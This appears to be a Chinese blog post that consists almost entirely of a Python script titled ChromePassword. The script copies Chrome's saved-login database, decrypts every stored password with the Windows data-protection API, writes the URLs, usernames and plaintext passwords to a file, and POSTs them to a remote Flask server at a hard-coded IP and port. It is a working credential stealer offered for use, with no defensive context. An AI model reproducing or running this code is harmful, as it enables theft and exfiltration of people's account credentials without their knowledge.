• ChromePassword


    # -*- coding: utf-8 -*-
     2# @Author  : pwf
     3
     4# @Date    : 2019/5/18 22:53
     5# Software : PyCharm
     6# version:Python 3.6.8
     7# @File    : ChromePassword.py
     8
     9import os
    10import shutil
    11import sqlite3
    12import win32crypt
    13import json
    14import requests
    15
    16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
    17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
    18
    19
    20class ChromePassword:
    21
    22    def __init__(self):
    23        self.passwordsList = []
    24
    25    def get_chrome_db(self):
    26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
    27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
    28        if os.path.exists(_tmp_file):
    29            os.remove(_tmp_file)
    30        shutil.copyfile(_full_path, _tmp_file)
    31        self.show_passwords(_tmp_file)
    32
    33    def show_passwords(self, db_file):
    34        conn = sqlite3.connect(db_file)
    35        _sql = '''select signon_realm,username_value,password_value from logins'''
    36        for row in conn.execute(_sql):
    37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
    38            # 密码解析后得到的是字节码,需要进行解码操作
    39            _info = 'url: %-40s username: %-20s password: %s
    ' % 
    40                    (row[0][:50], row[1], ret[1].decode())
    41            self.passwordsList.append(_info)
    42        conn.close()
    43        os.remove(db_file)
    44
    45    def save_passwords(self):
    46        with open('password.txt', 'w', encoding='utf-8') as f:
    47            f.writelines(self.passwordsList)
    48
    49    def transfer_passwords(self):
    50        try:
    51            # 此处填写远端Flask对应的IP:PORT
    52            requests.post('http://192.168.1.102:9999/index',
    53                          data=json.dumps(self.passwordsList))
    54        except requests.exceptions.ConnectionError:
    55            pass
    56
    57
    58if __name__ == '__main__':
    59    Main = ChromePassword()
    60    Main.get_chrome_db()
    61    Main.save_passwords()
    62    Main.transfer_passwords()
  • 相关阅读:
    LG P3975 [TJOI2015]弦论
    LG P5056 【模板】插头dp
    LG P5279 [ZJOI2019]麻将
    BZOJ3864 Hero meet devil
    [NOIP模拟]相遇/行程的交集
    LG P3196 [HNOI2008]神奇的国度
    LG P3312 [SDOI2014]数表
    python pip 安装包的时候出现的各种错误。一句话解决。
    CTF入门
    Pythoncharm安装
  • 原文地址:https://www.cnblogs.com/piwefei/p/11850131.html
Copyright © 2020-2023  润新知